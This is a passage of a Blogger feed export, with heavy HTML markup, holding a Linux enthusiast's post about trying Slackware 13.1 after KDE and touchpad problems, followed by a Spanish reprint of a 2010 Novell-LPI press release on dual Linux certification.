sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;li&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;The KDE Software Compilation 4.4.3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/ul&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;As many camarades know, I do really like this distro, because it bring me total control of my operating system, so I can really configure it as much as I want.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Well, I really expect that testing was enough because once I decided to install Slackware 13.0 and KDE version that came with it was really failing every time, so I finally decided to downgrade to the last stable version to KDE and I made an hybrid distro between Slackware 12.2 KDE desktop manager and Slackware 13.0 base system, but oh! oh! my touchpad didn't go well, I wondered, why? and a few days later I found the answer, graphics server Xorg doesn't need xorg.conf anymore, so I thought where can I configure my mouse or my touchpad??? Bah!!! lets reinstall Slackware 12.2 and leave those problems to be solved in the next release.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;It seems that time has come, and I'll try again the latest release of Slackware, 13.1.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;It can be downloaded from &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: #b45f06;"&gt;&lt;span style="background-color: #990000;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: #ea9999;"&gt;&lt;span style="background-color: #f1c232;"&gt;&lt;span style="background-color: white;"&gt;&lt;span style="background-color: #444444;"&gt;&lt;span style="background-color: #674ea7;"&gt;&lt;a href="http://slackware.com/getslack/"&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;here.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="background-color: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2120572295258810020?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2120572295258810020/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/06/slackware-131-released.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2120572295258810020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2120572295258810020'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/06/slackware-131-released.html' title='Slackware 13.1 Released'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6900693596457740477</id><published>2010-06-17T11:25:00.000-07:00</published><updated>2010-06-17T11:29:45.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Markus rex'/><category scheme='http://www.blogger.com/atom/ns#' term='opensuse'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='LPI 101'/><category scheme='http://www.blogger.com/atom/ns#' term='Certified Linux Administrator'/><category scheme='http://www.blogger.com/atom/ns#' term='novell'/><category scheme='http://www.blogger.com/atom/ns#' term='CLA'/><category scheme='http://www.blogger.com/atom/ns#' term='suse'/><category scheme='http://www.blogger.com/atom/ns#' term='LPIC'/><title type='text'>Acuerdo Novell-LPI sobre certificación común</title><content type='html'>&lt;p&gt;&lt;span style="color:#6633ff;"&gt;Rulando por Internet me encontré esta información bastante útil para quienes nos interesa el mundo Linux.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#6633ff;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;p&gt;&lt;span style="color:#6633ff;"&gt;Se firma acuerdo  para certificación dual .....&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="TEXT-ALIGN: center; LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal" align="center"&gt;&lt;strong style="mso-bidi-font-weight: normal"&gt;&lt;span lang="EN-US"&gt;&lt;span style="FONT-SIZE: small"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;Novell y el Instituto Profesional de  Linux(LPI) Socios en Formación Linux y Procesos de  Certificación&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;(SACRAMENTO,  CA , US y WALTHAM, MA, US:&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;09 de Febrero  del 2010) Novell Inc. y el Instituto Profesional de Linux (LPI) anuncian hoy  &lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;un acuerdo de Partners a nivel  internacional para estandarizar sus programas de certificación de nivel junior o  principiante en torno al LPIC-1. Dentro de este programa, los profesionales  Linux que hayan alcanzado&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;la  certificación LPIC-1 estarán satisfaciendo los requerimientos para la  certificación Novell® Certified Linux Administrator (CLA). Y para demostrar un  mayor apoyo, los Servicios de Formación de Novell han aceptado formalmente  incluir los objetivos de formación del LPIC-1 en el material de estudio de su  curso CLA.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;“Como un  reconocido proveeedor de software empresarial y servicios por más de 25 años, y  el proveedor de la plataforma Linux más interoperable, Novell está muy bien  posicionada para ofrecer&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;un exhaustivo  programa de formación que asegura a los profesionales Linux poder lograr la  reconocida certificación LPIC-1, facilitándoles a ellos el poder cumplir con los  diversos requerimientos que exige un Centro de Datos en cuanto habilidades  técnicas y confianza”, dijo Markus rex, Director General Vicepresidente senior  de la Plataforma Abierta de Soluciones de Novell.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;La elección  de&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;Linux,&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;incluyendo SUSE® Linux Enterprise de Novell,  se está acelerando desde el momento en que la industria busca soluciones que  ahorren costes y que al mismo tiempo sea fiable y manejable. Un estudio global  realizado en 2009 entre ejecutivos IT reveló que el 40 %&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;de los participantes piensa adquirir  soluciones Linux adicionales para los siguientes 12-24 meses y el 49 % indicó  que Linux será su principal plataforma de servidores de aquí a cinco  años.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;“ Este Acuerdo  de Partners da una idea del enorme apoyo que el programa de certificación LPI  tiene entre las amplias comunidades IT y Linux . Este apoyo histórico ha  incluido contribuciones de proveedores como Novell y ha ayudado a LPI a  transformarse en la certificación Linux más ampliamente reconocida y aceptada,”  dijo Jim Lacey, presidente y CEO de LPI. “Esperamos expectantes poder trabajar  conjuntamente con Novell para promover el desarrollo de la fuerza de trabajo  Linux del futuro. En particular,&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;al  alinear sus programas de estudio con los objetivos del LPIC-1, Novell ha  reconocido la necesidad de la industria de contar con un programa de  certificación independiente de proveedores y que prepare a los profesionales IT  para trabajar con cualquier distribución Linux en el ambiente  empresarial.”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;Según los  términos del acuerdo,&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;todos aquellos*  que posean la certificación LPIC-1 tendrán la oportunidad de solicitar la  certificación CLA de Novell sin necesidad de exámenes o pagos adicionales. El  Servicio de Formación de Novell va a incluir los objetivos de LPIC-1 en el  programa de estudio de su Linux Administrator y en programas que incluyen  auto-estudio, bajo demanda, y presencial (* Este programa no está disponible en  Japón)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;“ En su  condición de Partner de Formación Autorizado dentro del programa de partner de  Novell, , SwitchDesk ha formado el personal IT de algunas de las empresas  lideres del país como Ford Motor Company, Boeing, Macromedia, NASA y muchas más,  afirmó Chris Clark, Pesidente y CEO de SwitchDesk Inc. “Nos alegra constatar el  acuerdo de partner entre Novell y LPI que permite &lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;desarrollar contenidos de cursos con objetivos  alineados y&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;proveer certificaciones  duales de tal forma que nuestros clientes poseerán una amplia gama de  habilidades profesionales.”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="color:#6633ff;"&gt;Más  información sobre como adquirir la certificación dual puede ser encontrada en  Novell aquí:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.needurl.com/"&gt;&lt;span style="COLOR: windowtext; TEXT-DECORATION: none; mso-ansi-language: EN-US; mso-fareast-language: AR-SA; mso-bidi-language: AR-SA; text-underline: none"&gt;&lt;span style="FONT-FAMILY: Times New Roman; FONT-SIZE: small"&gt;&lt;span style="color:#6633ff;"&gt;www.needURL.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Times New Roman"&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;y&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;en  Linux Professional Institute aquí: &lt;/span&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.lpi.org/cla"&gt;&lt;span style="COLOR: windowtext"&gt;&lt;span style="TEXT-DECORATION: underline"&gt;&lt;span style="FONT-SIZE: small"&gt;&lt;span style="color:#6633ff;"&gt;www.lpi.org/cla&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="LINE-HEIGHT: 150%; MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="LINE-HEIGHT: 150%; FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;strong style="mso-bidi-font-weight: normal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Sobre  Novell:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Novell,  Inc (Nasdaq:NOVL) prove la plataforma Linux* más interoperable y un portafolio  de software de gestión IT integrado que ayuda a sus clientes alrededor del mundo  a reducir costes, complejidad y riesgos. Con&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;&lt;span style="color:#6633ff;"&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#6633ff;"&gt;nuestro software de infraestructura y ecosistema de Partners, Novell  integra armónicamente entornos IT heterogeneos, permitiendo a la gente y la  tecnología trabajar como uno solo. Por más información visite  www.novell.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="FONT-SIZE: 11pt; mso-ansi-language: ES-TRAD"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt" class="MsoNormal"&gt;&lt;span style="FONT-SIZE: 11pt" lang="EN-US"&gt;&lt;span style="FONT-FAMILY: Times New Roman; COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;strong style="mso-bidi-font-weight: normal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Sobre el  Instituto Profesional de Linux:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;El  Instituto Profesional de Linux promueve y certifica capacidades esenciales en  Linux y tecnologías del Código Abierto a través de la creación de exámenes  altamente comprensibles, de gran calidad y además independientes de cualquier  distribución.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;span style="color:#6633ff;"&gt; &lt;/span&gt;&lt;p style="MARGIN: 0cm 0cm 0pt; mso-layout-grid-align: none" class="MsoNormal"&gt;&lt;em style="mso-bidi-font-style: normal"&gt;&lt;span&gt;&lt;span style="COLOR: #000000"&gt;&lt;span style="color:#6633ff;"&gt;Establecido como un organismo internacional sin animo de  lucro en Setiembre de 1999 y siendo una demanda de la comunidad Linux, el  